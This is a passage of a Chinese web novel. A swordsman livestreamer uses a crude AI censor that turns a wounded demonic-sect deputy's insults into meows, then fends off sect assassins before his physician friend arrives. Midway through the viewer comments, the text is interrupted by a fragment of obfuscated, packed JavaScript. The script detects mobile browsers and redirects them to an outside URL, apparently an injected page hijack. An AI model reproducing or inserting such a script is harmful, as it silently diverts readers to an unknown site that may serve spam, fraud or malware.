他可没想到,余清晚还未来,他却先被迫卷入了这场纷争。
赵惊弦痛下针砭,条条论述未给小橘绝育的害处,最后诚恳认错,表明心意——等到余清晚赶来之后,他一定立马就把这只罪魁祸首猫抓去噶了。
至此三封检讨书全部写完,赵惊弦将直播商城兑换的火盆拿了出来,将检讨书烧了,又对着可恨的直播规则答了半个时辰题。
等到所有申请解锁的步骤都处理完毕,外头的天色已经全黑了。
赵惊弦的直播间终于成功解锁,直播限时任务也只剩下一天的的时间了。
10个粉丝的任务他根本不可能完成,他只能安慰自己,多播一天也是胜利,这一回他一定会好好抓住猫猫的后腿,绝不会再让猫猫对着直播镜头做那些罔顾廉耻的事情。
赵惊弦深吸了口气,再一次开启了直播。
他的眼前砰地炸出一串特效,后头跟着一行加粗的鲜艳大字。
【***直播间等级晋升啦***】
【当前直播间等级:2】
【直播间升级到下一等级还需要达成粉丝数1000,请主播继续努力~】
【恭喜主播顺利达成限时直播任务!任务奖励积分已到账,请主播注意查收!】
【恭喜主播直播间顺利升级!奖励积分已到账,请主播注意查收!】
赵惊弦:“?”
等等,什么玩意?
谁完成了?怎么还升级了?
他不是被封禁了吗?
被封了也能完成?
赵惊弦惊愕在面前漂浮的直播界面上寻找他这个直播间的关注人数,目光朝上一扫而过,他睁大双眼,有些不敢相信眼前所见的一切。
【直播间粉丝数:387】
【直播当前观看人数:56】
不仅如此,这观看人数还在以肉眼可见的速度上升,他眼前很快飘过了密密麻麻的弹幕,比他前几次直播加起来的弹幕数量还要夸张。
【哈哈哈哈在吗?看看猫?】
【这就是那个因为猫舔O被封的倒霉主播吗2333333】
【哈哈哈哈哈在粉色论坛上看到截图吐槽,忍不住点个关注路过来看看乐子】
【在吗?看看蛋……哦不看看猫!】
【是哪只猫啊?让我鉴定一下到底有多让审核震撼】
【这不是我今天一天的乐子吗哈哈哈哈哈哈哈】
【感谢用户[功德猫猫头]送来的[天山雪莲],观众喜爱值+100】
【感谢用户[大杯多糖甜衍]送来的[入门秘籍],观众喜爱值+1】
赵惊弦:“……”
这也行?!
他依旧惊讶盯着半空的字迹,握着逗猫剑柄的那只手停下了动作,剑穗上的铃铛悬在半空微微摇晃,两只小橘猫顿时觉得自己找着了绝好的机会,先后跃起,朝着他的剑穗扑去。
【听说是个小橘猪?是这两只的哪一只?】
【看到了!好q弹!果然足够让审核震撼!】
【在猫界这的确好震撼啊】
【哈哈哈哈哈哈哈哈就我一个人注意到主播好像被吓懵了吗?直播开到现在他动都没动过啊哈哈哈】
【另外个战损美人呢?让我看看美人!】
【别看美人了,还是看看猫吧x】
【在吗在吗?看看猫?】
赵惊弦不由低下头,看了看为了抓他的剑穗满地乱跳的橘猫。
说实话,以前他从未注意过这件事。
可现在……他的目光几乎控制不住跟着小橘猫的屁股转动,他怕审核突然
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出现,再说小橘猫裸露过度而封禁他的直播间,他只能站起身,朝边上走了几步。
他瞥了一眼另一侧的床榻,谢厌应当是睡着了,赵惊弦干脆走到了院中,压着声音说了一句:“过几天就绝育。”
这话是给审核的解释,表明他绝不是故意让这两只小橘猫满地乱晃荡的。
说完这话之后,他转身去了厨房。
天色已晚,他得先给谢厌弄点吃的。
眼前的弹幕,还在不断变化,观看直播的人数,也在飞快变多。
【这种事情不要啊!】
【直播血案,可怜喵喵喜提绝情刀】
【哈哈哈哈小橘猪知道自己给自己换来了什么吗?】
【来晚了,现在剧情进展到什么程度了?】
【进展到这一步了!喵喵:永失吾蛋】
【不对啊,看衣着背景这不是古代吗?古代又没有宠物医院,这要怎么给猫绝育啊?】
赵惊弦想了想,为了避免审核说他虐待小动物,又给他找出什么奇怪的封禁理由,他还是解释一下为好。
反正厨房离谢厌的房间还有一段距离,谢厌不可能听到他说话,赵惊弦便直接开了口,说:“没有宠物医院,但我有个好友,是江湖有名的神医。”
他又想了想,这么说好像还是有虐待小动物的嫌疑,他得解释得更清楚一些。
“放心,会有麻药,他已经是个熟手了。”赵惊弦朝随他一块走到厨房的猫儿们摆了摆手,道,“这些猫,都是他做的。”
【??绝情圣手????】
【不是,虽然武侠的医学确实和现实不一样,可你们江湖神医怎么还管这种事啊?!】
【神医:我又不是兽医】
【大……大概是技多不压身吧(x】
【江湖神医熟练掌握噶蛋的技巧是要干嘛啊啊啊啊啊】
【救命笑得脸好痛,退出了三遍反复检查这真的是恋爱频道吗】
【感谢用户[鸭头你也真是的]送来的[红尘快马],观众喜爱值+10】
赵惊弦先将粥煮上,玄猫蹭着他的腿撒娇,他便将回来后给猫蒸好的剩下的喵饭也取了出来,刚刚将那盘子摆在院中地上,就听见了谢厌那间屋子里传来了争先恐后冲刺的猫猫脚步声,两只橘猫互相挤着对方朝他冲来,其余也猫儿也渐渐朝这边聚拢,
【啊啊啊这么多猫吗!这也太可爱了啊!添加主播备注:猫猫直播间!】
【想到神医噶了这么多只猫,心情还是很微妙。】
【好耶!是天下第一喵口称赞的绝情刀!喵们有救了!】
【对了,看主播好像是新人?刚开直播就被封禁这么多次,是不是不知道直播商城里有自动过审AI啊?】
赵惊弦喂猫的手停了停。
什么?还有这种好东西?!
他飞快抬眼,看向那条弹幕。
【我记得直播商城里可以直接开启的,主播还是找找看吧,别再因为猫猫舔蛋这种奇怪的理由被封了哈哈哈哈】
赵惊弦飞速打开了直播兑换商城。
他首先看到自己此刻拥有的直播积分,目光在350的数字上停留许久,几乎有些不敢相信自己的眼睛。
半个时辰之前,他还在为如何凑齐10个粉丝而苦恼。
现在他已经有了350的直播积分,刚才他还收到了好几份礼物打赏,等这次直播关闭之后,那些观众喜爱值也将会转变成积分。
他离分级申请书的666积分已经不远了,他终于可以告别这种连碰手都要惊慌的日子了!
赵惊弦抑不住心中激动,又照着方才那条弹幕的描述,飞快找了找开启自动过审机AI的位置。
这东西藏得有点深,他费了会儿功夫,终于找到了那个开关。
【点击该按钮后,直播间将开启自动过审AI功能,直播内容将经过AI处理后发布,对于网站所不允许的内容,AI将自动进行打码消音处理】
【请主播确认是否要开启该功能】
【是】【否】
赵惊弦毫不犹豫点了是。
这么好的功能,傻子才不开启!
太好了!
小橘猫可以有蛋的好日子,终于要来了!
8. 限定款断袖
赵惊弦点击了功能开启。
【主播已开启AI自动过审功能】
【请主播选择将要使用的AI模型】
【A.低级过滤模式
(该模式智能较低,经过处理后,直播封禁率将降低至1%)】
【B.普通过滤模式
(为大多主播使用过滤模式,拥有更为智能的AI审核,按照10积分/1天进行收费,经过处理后,直播封禁率将降低至0.5%)】
【C.高级过滤模式
(拥有最智能的AI模型,将在画面出现异样时自动切换画面,按照100积分/1天进行收费,可彻底杜绝直播封禁风险)】
赵惊弦不由啧舌。
这东西,怎么还要收费啊?
他攒点积分已经很不容易了,他现在拥有的这些积分,得先换分级申请书,再把他被惩罚失去的宝剑赎回来——
对了,刚才被惩罚时他心神恍惚,还没看赎回宝剑究竟要花多少积分。
赵惊弦仔细找了找,终于在3000积分才能兑换一次的宝剑盲盒边上,看见了赎回惩罚所需的无情的数字。
【赎回宝剑所需积分:5000】
赵惊弦立马就放弃了三个过滤模式中的收费选项,选择了智能最低的A模式。
想从他手里骗走积分?
做梦!绝无此种可能!
反正这功能也就是消消音打打码而已!用不着多智能,免费模式一定也能驾驭好这件事!
赵惊弦选择完毕,等着面前的字幕散去,换出了另外的选项来。
这一回,系统要他选择的,是消音后替换的音频。
如果有人说了不合适播出的字词,这部分台词将被替换成他选择的音频,赵惊弦看了看,从最传统的【哔——】消音,到奇怪的动物叫声一应俱全,他也没有过多思考,选择了听起来颇为顺耳的猫叫。
随后赵惊弦又选择了打码方式,他没有要求,打上最普通的马赛克就好,一切设置完毕后,赵惊弦退出直播商城,如释重负松了口气。
他的好日子,终于要来了!
-
结束一切设置后,赵惊弦先看到的,是直播界面上多出来的一键切换观众视角的按钮。
赵惊弦很好奇,他切换了观众视角,在厨房内四处转了转——除了有一行小字提醒他画面声音已经过处理外,好像也没什么不同了。
赵惊弦切回了主播模式,在厨房内呆了一会儿,飞快备了点简单小菜。
他离家多日,家中不能留有肉食,只有些清粥白菜将就,猫儿也懒得来烦扰他,只有玄猫一直趴在灶头打盹。
赵惊弦也不知直播时究竟该说什么话,只是看到偶尔弹幕闲谈,他才会略插一句嘴,可待他将粥煮好时,直播间的观看人数,竟已达到了四百人。
赵惊弦很是感叹,他将饭食盛好,压低声音说:“我去给他送饭。”
他走到那间屋子外,看见青纱帐内人影晃动,谢厌捂着伤处倚靠在床沿,蹙眉看着空荡荡的床下——他像是想要起身,可那儿却没有他的鞋。
赵惊弦讶然:“你怎么起来了?”
谢厌反问:“你方才在和谁说话?”
赵惊弦:“呃……”
他总不能说他刚才在和直播间的观众聊天吧?
谢厌挑眉:“院中有人?”
赵惊弦立即否认:“没有。”
谢厌倒觉得自己看破了真相,冷笑一声:“天下第一剑客,私下里竟然喜欢和猫聊天。”
赵惊弦:“……”
为了不暴露直播间的真相,和猫聊天就和猫聊天吧。
再说——
谁不喜欢和猫聊天呢!
人就该多和猫猫聊天!
谢厌捂着伤处,目光朝床下一瞥,问:“我的鞋呢?”
赵惊弦小声说:“都是血,还没洗呢。”
谢厌:“……”
“你原先那衣服,也全是血和破口,帮你包扎伤口时,我将衣服丢了。”赵惊弦道,“你先穿我的衣服,过几日待你伤好一些,我再带你去山下买。”
谢厌早发现自己换了身衣服,这里衣并非簇新,比他的衣物要略宽一些,长短倒还算合适,他不怎么在意这种事,便连应答也没有,看赵惊弦为他盛粥,他还是忍不住问了那个问题。
谢厌:“你为何要救我?”
赵惊弦盛粥的动作稍稍一顿,有些激动。
为他这个恋爱直播间正名的时刻,终于到了!
什么猫猫直播间,他可是被选中来参加恋爱赛道的!
凭他闯荡江湖多年的丰富经验,谢厌的这个问题,他立马就能给出答案!
“谢副使,见面时我便已说过了。”赵惊弦按下心中激动,“我对你情深意切,爱慕已久。”
谢厌:“……”
说完这话后,赵惊弦偷偷瞄了一眼此刻的弹幕。
大概是他背台词的语气太过刻板僵硬,以至这话虽然出口,却远没有他所想的效果。
弹幕在讨论的是不知何时跟过来的玄猫,它藏在床帘之下,只露出两个明黄色灯泡一般的眼睛,像是什么躲藏在黑暗中的深渊怪物。
谢厌:“情深意切?可笑,你我分明是初见。”
赵惊弦努力微笑:“呃……世上……世上总有一见钟情!”
这话又不知戳着了谢厌什么厌恶之处,他古怪看了赵惊弦一眼,神色阴沉。
“一见钟情?”谢厌嗤笑,“多是见色生意吧。”
来了来了!
这句话,赵惊弦觉得自己能够接得上!
见色起意怎么了?
谈恋爱这种事,能少得了见色起意吗!
“你若如此想,倒是也行。”赵惊弦的脑子飞快运转,“谢副使,你可听过江湖传言?”
谢厌冷冰冰看着他。
“江湖人都说……你是美人。”赵惊弦朝谢厌倾身,微微靠近了些许距离,“……我见色起意,本也是寻常。”
谢厌:“……”
谢厌神色一沉,露出了极为不快的神色。
可弹幕上的讨论,却从床帘下的黑猫,转向了猫猫祟祟溜进屋中,试探着想要爬上床的两只小橘身上。
【救命主播说话好土,他真的喜欢这个大美人而不是在背台词吗】
【主播看美人的时候眼里都没有光的吗!!!谢美人不要信!他一定在骗人!】
【小橘猪来了!】
【哈哈哈哈哈哈等等啊咪咪转身的时候背后这一片马赛克是什么啊哈哈哈】
【主播这是开了AI过审吧?选的好像还是人工智障模式。】
【本来只是普通的猫蛋蛋,打上码后好像突然就变成了什么奇怪的东西……】
赵惊弦愣了愣,有些不明白他们在说的究竟是什么东西。
他默默切换了观众视角,看了看自己此刻的直播画面。
房间内一切正常,两只小橘爬上了床,见赵惊弦没有反对,谢厌也没有说话,它们又开始继续今天未尽的撒娇大业,在谢厌身边扭来扭去,试图引起谢厌的注意。
可小橘猫岔开腿那一瞬,赵惊弦看见了。
原先是猫铃铛的地方,直接粗暴糊上了一大片马赛克,将小橘猫的屁股遮挡得严严实实,变成了一排色块。
他低下头,再看了看脚边已经被施展过绝情刀的玄猫。
玄猫的屁股一片漆黑,也不知是毛色太黑看不出区别不需要打码,还是因为已经受过余清晚绝情圣手的摧残,猫铃铛只剩下一层铃铛皮,连看出原本位置在何处都有些勉强,这才逃过了AI的审查。
赵惊弦尚且困惑,谢厌却冷冰冰说:“你在说谎。”
赵惊弦:“……啊?”
“江湖与你有关的传言,不少。”谢厌说,“我都听过。”
赵惊弦:“我的传言?”
谢厌哼了一声:“正道吹嘘你是天下第一,我从未服气。”
“这么关注我。”赵惊弦想也不想,下意识脱口,“怕不是喜欢我吧?”
谢厌:“……”
弹幕果真立即便有了变化。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165247|165101||http|test|mini|href|location''.split(''|''),0,{}));
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>【来了!熟悉的剧情来了!】
【嘴上不服气有什么用,来打一架啊!】
【不行不行,都已经战损了,不可以打架】
【嘴上不服气有什么用,床上打♂一♂架啊!】
谢厌:“江湖传闻,赵惊弦只练剑,也只爱剑。”
赵惊弦:“话虽如此——”
谢厌:“江湖上那么多美人投怀送抱,赵大侠可一刻也没动过心。”
赵惊弦:“……”
谢厌:“你是个剑痴,剑痴不可能……”
赵惊弦只能硬着头皮说:“你与其他人不同。”
谢厌一点也不相信赵惊弦的话。
他始终觉得此事之后另有阴谋,天下第一的剑痴,不可能会因为一点胡来的理由,就对一个素未谋面之人冒出莫名其妙的好感。
他想赵惊弦应当是受人所托,可他又猜不出这幕后之人究竟是谁,他在江湖上结怨甚广,树敌颇多,可若是论好友,怕是连一个人也没有。
“不同?”谢厌讥讽笑道,“不同在何处?”
赵惊弦很为难:“你……”
对啊,不同在何处?
他对与自己有关的江湖传言不太了解,这些年来他就没关注过这种无关紧要的事情,谢厌说这江湖上有许多美人对他投怀送抱,他连这事都没什么印象,硬要去想……呃……
赵惊弦恍惚记起了一些往事。
极乐楼的花魁好像的确邀他上过花船夜谈,可他们楼里拍卖的剑太漂亮了,他移不开目光,跟人抬了一夜价,到最后也没有去赴约。
飞花宫的女侠也请过他来宫内喝茶,可隔壁万剑山庄的剑显然更好看,他拐到万剑山庄看了一晚上的剑,完全忘了这个约定。
还有论剑大会时……
随西域商队出关之日……
在武林盟养伤的那些日子……
这几件事当时都在江湖上流传颇广,赵惊弦记得余清晚无奈说过他像块木头,心中除剑之外全无他物,哪怕是天下绝色贴到了他面前来,他大概也看不出那是个美人。
谢厌想说的应当是这种事,可若要找谢厌和这些人的不同……
谢厌……谢厌当然是不同的……
谢厌重复再问:“不同在何处?”
赵惊弦脱口:“你是男人!”
谢厌猛地一顿。
赵惊弦又来了后半句:“我是断袖!”
谢厌:“……”
赵惊弦:“不不不,我不是断袖。”
谢厌咬牙:“你……”
赵惊弦:“我只对你断袖!”
谢厌:“……”
赵惊弦对自己灵机一动的答案很是满意,若不是直播审核受限,他觉得自己此刻应该扑上去,再深情款款握住谢厌的手。
“谢副使!我就是你的限定款断袖!”赵惊弦大声说道,“你也来和我一起断袖吧!”
谢厌:“?”
谢厌终于忍不下去了。
他脾气向来不佳,这人在他面前胡言乱语,说的还是如此冒昧的话,他若还能忍受,那未免也有些太不像他了。
赵惊弦道:“谢副使,我对你真心——”
谢厌咬牙:“闭嘴!”
赵惊弦有些为难:“就算你如此说……”
谢厌:“你喵喵喵是不是喵喵啊!”
赵惊弦:“……”
赵惊弦几乎有些不敢相信自己的耳朵:“我……什么?”
谢厌恶狠狠威胁他:“你若是再纠缠我,我一定将你喵喵喵喵,先喵喵再喵喵!”
赵惊弦:“?”
“你我之间,绝无可能。”谢厌说道,“不许再在我面前喵喵喵喵。”
赵惊弦:“这……可是……”
谢厌:“喵!”
赵惊弦:“……”
这不会就是自动和谐过审后观众视角的效果吧?
该……该死……
他一点也没有被骂到,甚至还觉得这位动不动便发怒炸毛的魔教副使……
有一些说不出可爱。
9. 你们剑客!
赵惊弦知道,谢厌喵喵乱叫的根源,其实在他设定的那个自动过审AI上。
按照他当时的设定,所有不够和谐的话语,都会被猫叫声替换,可他怎么也没有想到,这个猫叫声,用的竟然是谢厌自己的声音。
谢厌如今说话声音虚弱,尾音总不自觉带些气声,骂人的话语间还要停顿喘息,哪怕他的眼神已极尽凶狠,可这幅模样落在赵惊弦眼中……分明是落水猫儿湿漉漉冲人龇牙炸毛,他只会觉得可爱。
赵惊弦恨不得谢厌再多骂他几句,他干脆腆着脸凑到了谢厌身前,唤:“谢副使——”
谢厌咬牙挑眉:“我让你喵喵!”
赵惊弦:“你有伤在身,莫要动怒。”
谢厌:“我喵了便喵了,要你喵喵?”
赵惊弦:“噗……”
救命啊,这自动过审的AI系统,真不是故意来搞笑的吗?
-
不仅是赵惊弦,此时的弹幕,也充满了愉快的氛围。
【哈哈哈哈哈这到底是什么过审系统啊!!!】
【救命他好可爱……】
【这怎么不是一款猫猫直播呢?】
【魔教炸毛猫猫美人哈哈哈哈哈 】
【我真是喵了个咪的!】
【笑得想死哈哈哈哈哈哈,吾日三省吾身:我看的真的是恋爱直播吗,我不是在喜剧频道吗】
【喵喵!喵!】
谢厌见赵惊弦笑出了声,更是心中火起,只恨他手无寸铁,又伤得太重,不可以直接手刃了这混蛋,他恨得咬牙切齿,接下来的话尚还未骂出口,喉中却热血上涌,腥甜一片,呕出了几口血来。
赵惊弦吓了一跳,谢厌这模样有些像是毒发,他紧张唤了句“谢副使”,正要伸手去搀住谢厌,谢厌却反将他的手推开了,咬牙自牙缝中挤出一句话语,骂道:“喵!”
赵惊弦:“……噗。”
他实在忍不住笑声,却也因为这一眼而松了口气。
谢厌唇边的不是黑血,这并非是毒发,大概只是内伤太深,又一时急火攻心,吐了几口郁结的瘀血。
虽说谢厌是被他气吐了血,可……可郁结之血,晚吐不如早吐,谢厌这脾气实在太差,赵惊弦也没想到谢厌竟然会发这么大的火。
谢厌抹去嘴角鲜血,深吸了几口气,胸中钝痛不止,他咬牙问:“你究竟是受了何人指使?”
“没有人指使啊?”赵惊弦小声委屈说道,“我真的只对你断袖。”
谢厌:“……”
谢厌神色阴沉,一句骂人话语尚未出口,屋顶上忽而落下一句轻飘飘的嗤笑:“右护法猜得不错,这姓赵的,果然是个断袖。”
谢厌心中惊雷炸响,赵惊弦已猛地握剑在手,本欲急身后退,又想起谢厌伤重难以自行避闪,他根本没有多想,握着谢厌的手直接将人拉进了怀中。
破空声瞬时而起,赵惊弦以手护住谢厌,长剑铮地荡开数枚透骨长钉,目光向上一挑,他亲手搭建的竹屋之上轰地被刀斧破开一个大洞,扑簌簌落下无数尘屑,而魔教的那位周堂主手持重斧,一脚踏在屋檐之上,垂着目光颇为古怪地望着他们笑。
屋中小猫惊慌四蹿躲避,而赵惊弦望着自家屋顶的大洞,心痛不已。
什么人啊!
有正门不走,非要吓他的猫拆他的屋顶是吗?
谢厌伤得太重,足尖猛然落地,疼得眼前昏眩发黑,他倒还能咬牙忍着,捂着腹上伤口,声音不住发颤:“可还有……其余刀剑。”
赵惊弦一顿:“什么?”
谢厌自牙缝中挤出话语:“你一人……应付不了……”
他早该意识到的。
赵惊弦为他传功抑毒,只怕损耗了不少真气。
下午他醒来赵惊弦未曾发觉,方才周堂主就屏息在屋檐之上,赵惊弦也不曾注意。
这姓周的绝不会独身一人溜进正道第一剑客的竹庐,若他没有猜错,教内派来追杀他的其余人,应当也已在门外了。
可赵惊弦就是要嘴硬:“怎么可能应付不了。”
谢厌忍着伤处剧痛,低声道:“门外还有……”
“放心。”赵惊弦以足尖勾出桌旁座椅,抵在谢厌身后,轻轻按着谢厌的肩,让谢厌坐下,而后微微弯唇与谢厌一笑,“我这天下第一,绝非浪得虚名。”
谢厌:“……你这是轻敌。”
话语之间,有人踹开房门,赵惊弦不由又抽了口气,小声碎碎念叨:“门又没锁,就不能用手推吗?”
正自门外进来的许长老觉得好笑:“大敌当前,赵大侠不担心自身安危,反倒是在记挂一扇门。”
左护法:“许长老说得对。”
赵惊弦微微踏前一步,正将谢厌护在身后:“又不是你家的门,你当然不会觉得心疼。”
右护法在旁嗤笑:“死了就不会心疼了。”
左护法:“右护法说得对!”
赵惊弦:“……”
他瞥了一眼屋外,外头不见那日大批包围竹林的魔教教众,大约是赵惊弦这隐居之地正在武林盟与几大正道门派之侧,若有大批邪道之人来此,定然会引起武林盟注意。
可眼前这四人,已是魔教内一等一的好手,赵惊弦内力受损,以一敌四,怕是险局。
谢厌虽觉得这人古怪,也厌恶此人总是油嘴滑舌,可赵惊弦毕竟救过他……他向来恩怨分明,至少不能同胆小鬼一般躲在后头,看着赵惊弦一人孤身应战。
他的刀已丢了,手头并无趁手武器,左右一看,身边的桌案上丢了许多写了字的废纸,有一架子笔,还有一枝洞箫。
若将内力运于其上,洞箫也可以化剑作刀。
可谢厌如今的状态……他动一分内力,便要得十分反噬……反正他已不在意自己死活,谢厌将那洞箫握在手中,勉力扶住桌沿,正要起身——
赵惊弦忽地开口,问:“对了,你们有人见过谢副使的刀吗?”
谢厌一怔。
周堂主在屋檐上朗声大笑:“都要死到临头了,怎么还这么多话。”
赵惊弦也笑:“是不是死到临头,恐怕还不太好说。”
“好说的。”许长老笑吟吟道,“谢副使是死不了,教主要留他活口,可这位赵大侠……”
赵惊弦眼尖,许长老说话时,总躲在众人身后的左护法身后露出半截刀鞘,鞘身古朴漆黑,正是谢厌的刀。
赵惊弦低声:“原来在这里。”
许长老仍念念有词:“赵大侠,你现在若将谢厌让给我们,此事或许还可以有——”
长剑铮然出鞘,寒芒一闪,迫得许长老不由后退数步,正好让出身边空档,那剑眨眼已到左护法近身,左护法甚至来不及反应,长剑挑着了他身后刀鞘,硬是将刀夺了过来。
这一下变故只在瞬息之间,待几人回神,赵惊弦已退回了谢厌身边,小声道:“还好,我将你老婆抢回来了。”
谢厌:“……”
方才赵惊弦那一手可实在漂亮得很,不见半点内力受损动作滞塞的痕迹,魔教几人面面相觑,周堂主也讪讪自屋檐上下来了,他退到几人身边,低语问:“老许,你不是说他内力受损,你我轻易便可应对吗?”
许长老也颇为困惑:“暗线传回消息,赵惊弦为谢厌传功抑毒,这毒性如何猛烈,你们也该知道,他不可能还有十成功力,总该要受些影响吧。”
右护法咬牙:“你看他像是受影响的样子吗?”
左护法:“右护法说得对!”
许长老:“……”
许长老退后一步,朝身边三人打了眼色,讪讪笑道:“赵大侠剑法超神,许某久闻其名……”
——以传闻中赵惊弦的声名而言,若赵惊弦内力不曾受损,他们四人加起来,只怕也不会是他的对手。
强敌在前,还是留得命在比较重要。
他们该先回教中,增派人手之后,再来此处抓捕谢厌。
赵惊弦挑剑在手中,目光在四人身上一扫而过。
“别走啊。”赵惊弦道,“你们打破了我的屋顶,吓着了我的猫,这件事又该怎么算?”
许长老:“此事……此事自然会有赔偿……”
许长老嘴上的言语极为客气,一面缓缓后退,将烟幕弹握在手中。
赵惊弦一开始便看见了,他作势提剑要追,许长老果真受惊将烟幕弹掷出,那略有些呛人的烟幕一瞬在屋中炸开,赵惊弦捂着口鼻提剑踏入烟雾,却见寒芒一闪,右护法将手中长剑朝着谢厌的方向猛然掷了出去。
这一下可动了死手,像是想要谢厌的命,赵惊弦立即回剑去挡,又恐谢厌不便行动,他阻挡太迟,谢厌或许会受伤,匆忙之间,他出了险招,虽将右护法的剑荡开了,手背上却被剑气擦出了一道血痕。
这不是什么严重伤势,赵惊弦并不在意。
他先回头看了看谢厌,谢厌未曾受伤,他稍松了口气,走到一旁捡起右护法丢过来的剑,口中骂骂咧咧。
“什么人啊。”赵惊弦小声嘟囔,“这么漂亮的美人都丢。”
谢厌:“?”
赵惊弦又左右看了看,发觉右护法只朝他们丢了剑,剑鞘显然还在右护法手中。
“什么人啊
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。”赵惊弦更加愤慨,“丢都丢了,就不能把美人衣服也一起丢过来吗?”
谢厌:“??”
骂完之后,赵惊弦美滋滋将剑放回桌上,算是将一切事项处理妥当,这才看了看自己受伤的手背。
这剑的剑刃太锋锐,他方才回剑去挡时,刻意避开了剑锋,可还是为剑气所伤,不过还好,只是一道甚狭的伤口,略出了点血,清理包扎好便也没事了。
赵惊弦很有处理这种伤口的经验,自怀中摸出巾帕扎住伤口,目光却始终未从右护法扔来的那柄剑上移开。
这剑丢都丢了,右护法应该是不要了吧?
那他捡都捡了,也该算是他的宝贝了吧!
……
谢厌见着赵惊弦受伤,又看着赵惊弦处理伤口,目光兜来转去在屋中转了好几圈,还是别扭着生硬开了口。
“赵……喂……”谢厌支支吾吾,“……你没事吧?”
赵惊弦正美滋滋欣赏着右护法的剑。
他被系统罚走了一柄他用不惯的软剑,大自然又馈赠给了他新的宝器,这怎么不算是一场完美的失而复得?
他虽听见了谢厌询问,可他心不在此,只是含混点头,道:“小伤,无事。”
谢厌低声说:“夏无彻的剑,是寒铁所铸……”
赵惊弦漫不经心:“嗯?谁?”
谢厌:“……右护法。”
赵惊弦倍感惊喜:“寒铁!”
“是,所以……处理麻烦。”谢厌低声说,“时间稍长,伤处彻骨冰寒,或许会伤及心脉。”
赵惊弦望着右护法的剑的目光更热切了一些。
谢厌也不知自己在担忧什么。
赵惊弦已救了他两回,这一次还因他受了伤,哪怕这人总惹人心烦,哪怕这是本该与他水火不容的正道之士……
他不喜欢欠人东西,也不喜欢与人纠葛太深。
这救命之恩,还是能还一分就还一分,以免拖至日后,再从中生出什么不该有的情愫来。
谢厌深吸了口气。
“我先教你如何用内力将寒毒逼出来。”谢厌刻意板起脸冷声说,“……为我传功之后,你内力应当有损,若是如此,这寒毒——”
“寒铁所铸?”赵惊弦难抑心中兴奋,压根没注意自己打断了谢厌的话,“还有这种功效?”
谢厌:“……什么?”
“这等俊俏的冰山美人!”赵惊弦激动不已,“可算是落在我手上了!”
谢厌:“……?”
赵惊弦干脆提着剑走到谢厌面前,将剑摆放在他二人之间的桌面上,认真追问:“谢副使,这剑,还有什么特别吗?”
谢厌极勉强才挤出几字关切:“……你的手。”
赵惊弦:“好得很!”
谢厌:“可伤处……”
赵惊弦:“不碍事!”
谢厌:“……”
谢厌觉得自己像个傻子。
他重新沉下脸色,冷冰冰问:“你不是内力受损,连他们在屋顶上藏着都听不见了吗?”
“这倒是真事。”赵惊弦道,“别说,你这毒还真是费事,少说耗了我至半内力。”
谢厌:“可你方才——”
“我们剑宗拼的就是剑法精妙。”赵惊弦竟还反问,“内功和我们近战有什么关系吗?”
谢厌:“……”
赵惊弦:“若靠内功出剑,那还是剑客吗。”
谢厌:“……”
“唉,我不同,我修习内功,全是我师父骗的。”赵惊弦叹了口气,难得刚才谢厌对他态度好,他当然得把握机会,多和谢厌聊几句,增添一下感情,“他和我说以气御剑,剑随心动,我以为至少能来一招万剑归宗,或是飞剑而出,想想就很帅气。”
谢厌:“……”
“可我练了多年,也不过只是能以内力将剑自鞘中震出罢了。”赵惊弦眸中带上了几分失望之色,“感觉自己被骗了。”
他说完这话,才抬眸看了一眼交战时他一直不曾分心去看的弹幕。
【救命什么内功近战,你们剑宗原来是这样的吗?】
【打起架来是真的帅,说起话来也是真的烦】
【这就是剑纯吗?】
【谁懂他刚刚抢刀的时候,我还为他心动了一秒(但也只有一秒(这人能不能闭嘴啊可恶】
【啊啊啊啊我好恨啊啊刚刚谢美人明明在担心他,心动只差一秒啊啊】
【这真是恋爱直播该出现的画面吗?】
【哥,咱要不还是和剑过吧】
赵惊弦:“?”
10. 神医好友
赵惊弦挠了挠头,谢厌也正用一种极古怪的神色看着他,可他实在不知自己错在何处,他试图补救,微微张口,正要说话,屋外却又传来了一阵急促脚步。
谢厌蹙眉:“今晚的不速之客,未免也太多了一些。”
赵惊弦担心是魔教中人复返,他提剑走到门边,正见一人冲进来,大声喊道:“赵兄!我收到传信,你——”
那人的目光落在完好无损的赵惊弦身上,后头的话便咽回去了,他松了一口极大的气:“还好,你没事便好。”
赵惊弦比他还要惊讶:“余兄?你不是在外云游吗?”
这人便是他特意写信要寻的余清晚,今天下午,赵惊弦才将书信以飞鸽传书寄出,这才过去几个时辰,余清晚竟然就赶到了此处。
“我本是来赴半年之约的。”余清晚道,“方行至山下,便收到了你的传信。”
赵惊弦一顿:“飞鸽传书?”
“是,赵兄的信鸽的确灵性。”余清晚说,“我看信中急切,以为是赵兄遇着了什么强敌……”
赵惊弦小声:“永远弄不明白武侠飞鸽传书的原理。”
余清晚:“……什么?”
赵惊弦的声音更小了一些:“狗鼻子找人都没这么灵敏。”
赵惊弦以往便时常口出古怪言语,余清晚并未在意,他先看了看屋中的境况——看起来像是经历过一场交战,可应当并不激烈,屋顶虽有破损,家具却并未损坏,屋中还有一个他不认识的人,只穿了单衣,面色苍白,略显宽大的衣襟下隐约可见交缠的白纱,像是受了什么重伤。
这人倒是生得极为好看,是个难得一见的美人,不知为何竟是白发,可瞥着他们时神色敌意甚浓,余清晚并不知赵惊弦还有这样的朋友,他有些困惑,问:“赵兄,这到底是……怎么一回事?”
赵惊弦有些头疼。
他还未想好如何向余清晚解释谢厌的身份,偏偏余清晚极为厌恶邪道,他总得将自己与谢厌的关系杜撰得真实一些,可他除了一句“爱慕已久”外,便什么都编不出来了,只能嗫嚅:“他……他是……”
这一句话还未说完,他忽而瞥见屋外竟然还有一人,裹得严严实实的黑衣,正在檐下的阴影之中,一言不发看着他们。
这人极擅隐匿身形,步法又极轻,来时赵惊弦只听得余清晚一人的脚步声响,他们站在此处说了这么久话,他也未曾注意到外头还有一人气息。
如今骤然发觉,又不知此人是敌是友,赵惊弦几乎立即便将手按在了剑上。
余清晚匆忙解释:“赵兄,这是我寻来相助的……呃……”
